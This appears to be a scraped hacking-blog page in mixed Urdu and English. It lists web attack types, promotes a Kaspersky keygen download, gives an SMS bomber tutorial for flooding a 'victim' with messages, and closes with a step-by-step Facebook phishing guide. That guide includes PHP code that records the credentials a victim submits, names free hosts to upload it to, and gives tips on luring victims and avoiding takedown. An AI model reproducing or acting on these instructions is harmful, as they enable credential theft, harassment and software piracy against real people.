ALL Websites Attacking Methods

Salam webiste hacking start karnay say phaly Hum Website Attacking Methods Ko Dakhain Gay Kitni kisam Kay Hotay Han Or
Ya full list nai hay, Agar ApKO Or Bhe Attacks
Atay Hain Jo mainy Chor daiya Han,
please comment below :) 

Is List Ko fits in category Parameter manipulation Kahtay Han

• Arbitary File Deletion
• Code Execution
• Cookie Manipulation ( meta http-equiv & crlf injection )
• CRLF Injection ( HTTP response splitting )
• Cross Frame Scripting ( XFS )
• Cross-Site Scripting ( XSS )
• Directory traversal
• Email Injection
• File inclusion
• Full path disclosure
• LDAP Injection
• PHP code injection
• PHP curl_exec() url is controlled by user
• PHP invalid data type error message
• PHP preg_replace used on user input
• PHP unserialize() used on user input
• Remote XSL inclusion
• Script source code disclosure
• Server-Side Includes (SSI) Injection
• SQL injection
• URL redirection
• XPath Injection vulnerability
• EXIF

 
Is List Ko fits in category MultiRequest parameter manipulation Khatay Han

• Blind SQL injection (timing)
• Blind SQL/XPath injection (many types)

Is List Ko fits in category File checks khatay Han

• 8.3 DOS filename source code disclosure
• Search for Backup files
• Cross Site Scripting in URI
• PHP super-globals-overwrite
• Script errors ( such as the Microsoft IIS Cookie Variable Information Disclosure )

Is List Ko fits in category Directory checks khatay Han

• Cross Site Scripting in path
• Cross Site Scripting in Referer
• Directory permissions ( mostly for IIS )
• HTTP Verb Tampering ( HTTP Verb POST & HTTP Verb WVS )
• Possible sensitive files
• Possible sensitive files
• ******* fixation ( j*******id & PHPSESSID ******* fixation )
• Vulnerabilities ( e.g. Apache Tomcat Directory Traversal, ASP.NET error message etc )
• WebDAV ( very vulnerable component of IIS servers )

Is List Ko fits in category Text Search Disclosure khatay Han

• Application error message
• Check for common files
• Directory Listing
• Email address found
• Local path disclosure
• Possible sensitive files
• Microsoft Office possible sensitive information
• Possible internal IP address disclosure
• Possible server path disclosure ( Unix and Windows )
• Possible username or password disclosure
• Sensitive data not encrypted
• Source code disclosure
• Trojan shell ( r57,c99,crystal shell etc )
• ( IF ANY )Wordpress database credentials disclosure

Is List Ko fits in category File Uploads khatay Han

• Unrestricted File Upload

Is List Ko fits in category Authentication Khatay Han

• Microsoft IIS WebDAV Authentication Bypass
• SQL injection in the authentication header
• Weak Password
• GHDB - Google hacking database ( using dorks to find what google crawlers have found like passwords etc )

Is List Ko fits in category Web Services - Parameter manipulation & with multirequest Khatay Han

• Application Error Message ( testing with empty, NULL, negative, big hex etc )
• Code Execution
• SQL Injection
• XPath Injection
• Blind SQL/XPath injection ( test for numeric,string,number inputs etc )
• Stored Cross-Site Scripting ( XSS )
• Cross-Site Request Forgery ( CSRF )

Kaspersky Product Keygen 2012

Antivirus

Kaspersky Product Keygen 2012 

 

Download with Keygen

Make sms bomber

Make sms bomber

Create your International sms Bomber using SMS Caster and Cheap china mobile

Everyone is tired from using expensive sms bombers which work after 24 hours from bombing :p .In this tutorial i will tell you how you can create your own sms bomber using following things;
 > SMS Caster  E Marketer  : a bulk sms sending software
 > A cheap china Mobile with data cable ( you can also use nokia , sony ericson , motorola or any other)
 > A GSM or CDMA network SIM
 > Drivers: China MT6225 Modem Driver , use coressponding pc suites if you are using branded mobiles such as nokia ov suite for nokia.

Procedure:
         Connect your China mobile with PC Via Data Cable and choose the option of COM PORT on your mobile.
          It Ask for the MT6225 MODEM driver. Download it from above link and install it manually from MY COMPUTER>MY PROPERTIES>HARDWARE>DEVICE MANAGER
          Now install SMS caster and click on the phone icon in left sidebar.It will show a number of ports. Then click on update and choose the port which is appointing your mobile.(other mobiles ports will also show there)

 Now If the connection is ready proceed to the next step.
 Compose the sms and write the reciepent number whom you want to bomb and then click on the the button SEND TO OUTBOX the numbers of sms you want to send.(tip: click 100 times on that button if you want to send 100 sms on that same number)

Now Click On SEND ( before proceeding you may know that these sms will be sent from your sim which is in your mobile and it cost the standard sms charges.)

Those whom cell phones support java apps can simply enjoy the sms bombing on your victim by this software Download
 This method is little but complex for dummies but very effective so if you have any questions then free to ask .. :)

 

SMS Bomber in Java For Mobiles

 

This is a great java Application by which you can spam your friends,s inbox with sms bomb.All you Hvae to do is to download that application which is in .jar extension and run it in your device
Key Points:
    Freeware
    Run nearly in all Nokia mobiles
    Your own SMS Bucket is used
    Just type the number of victim , number of sms you want to send , text message and start sending
    Work With great speed

                      Download is completely Secure
                
Click the Blue Button To download

how to make phising fb

ye lo phishing ki trik fist time de
rha hun free mein aur dosri jo bhi
trik chahiye hay add kro all fb
trick hein mere paas ;D free mein dunga pakka * Hack
Facebook by Phishing *
Phishing is the method to hack
the victim by
creating a Fake login page and
Uploading it to a webhosting site so when Victim
enters his
E-mail Id and Password we get it.
How to Do Phishing
note - This Article is only for
educational Purpose I won't be Responcible for
any Harm
done by you.
The Process is divided into three
parts -: First
to create a Fake Login Page, than Uploading it
on a Web Hosting Site and than
Hacking the
Victim.
* Craeting A Fake Login page *1)
Open google chrome
2) Open Facebook
3)
Now right click anywhere on the
White part
and than click on "View Page Source". A
webpage will open in New Tab,
Press Ctrl+A
and Copy(Ctrl + c) Everything.
4) Open Notepad and paste(Ctrl +
V) 5) Now press Ctrl+F
(Serach) and search for "Action", if
you're
unable to find Action, keep on
searching up
and down. 6) Now we have to change
something. you
have
searched action,,in this line is
written
as-“https//www.facebook.com/ login.php? login_attempt=1”, you have to
change this
and write ‘‘password.php’’ and
next to this
something is written as
‘method="post"’ change this and write ‘‘get’’ in
place of ‘‘post’’
i.e. method="get" so this is now
action="password.php"
method="get". 7)
Now save it with name login.html Now copy this and paste in
notepad-
<?php
header("Location: http:// www.phisshed- website./ com");
$handle = fopen("vandemat
ram.txt", "a");
foreach($_GET as $variable =>
$value) {
fwrite($handle, $variable); fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn");
fclose($handle); exit;
?>
Write the name of website in
place of http://­
www.phisshed-website./ com on
which you are phishing,,so you can write -
<?php
header("Location: http://­ www.facebook.com/"); $handle = fopen("vandemat
ram.txt", "a");
foreach($_GET as $variable =>
$value) {
fwrite($handle, $variable);
fwrite($handle, "="); fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn");
fclose($handle);
exit; ?>
Save it with name password.php
Open notepad again and save
empty notepad
file with name “vandematram”.
Now we have 3 files-login.htm l,pas­
sword.php,vandematram.txt
Uploading These Files To any Free
Webhosting Site
Here are some free Web Hosting
Sites 110mb
Ripway
SuperFreeHost
My3gb
Heliohost
freehostia Freeweb7
Sign up on any of these Websites
and Upload
all the three Files such that
Login.html is on
top, password.php on middle and Vandematram on last.
* Hacking The Victim *
1)Go to your Webhosting account
(Login),
Right click on the Login File ie
Login.html and than left click on Copy Link
Address
2) Now you have to
play a little game with victim,
give him the link
of that File(Login.html) and make him login to
that file(once he click on the file
he will be
redirected to that fake login
page), its depend
on you how you do it. 3) Once the victim login with that
fake page,
visit your
webhosting account again, open
the file
Vandematram, You will get both E-Mail ID and
password of Victim...
Enjoy
Note :-1) Facebook have blocked
most of the
webhosting site, so, if possible try to give the
link to victim outside FB ie via SMS
or
something like this
2) Do send the Link to victim
before 24 hours because
nowadays Web hosting sites
delete Phishing
account after 24 hrs.
3)
sometimes password.php, after uploading
turns into password.php.txt if it
happens
change it to password.php
Do hit like on this note if you like
it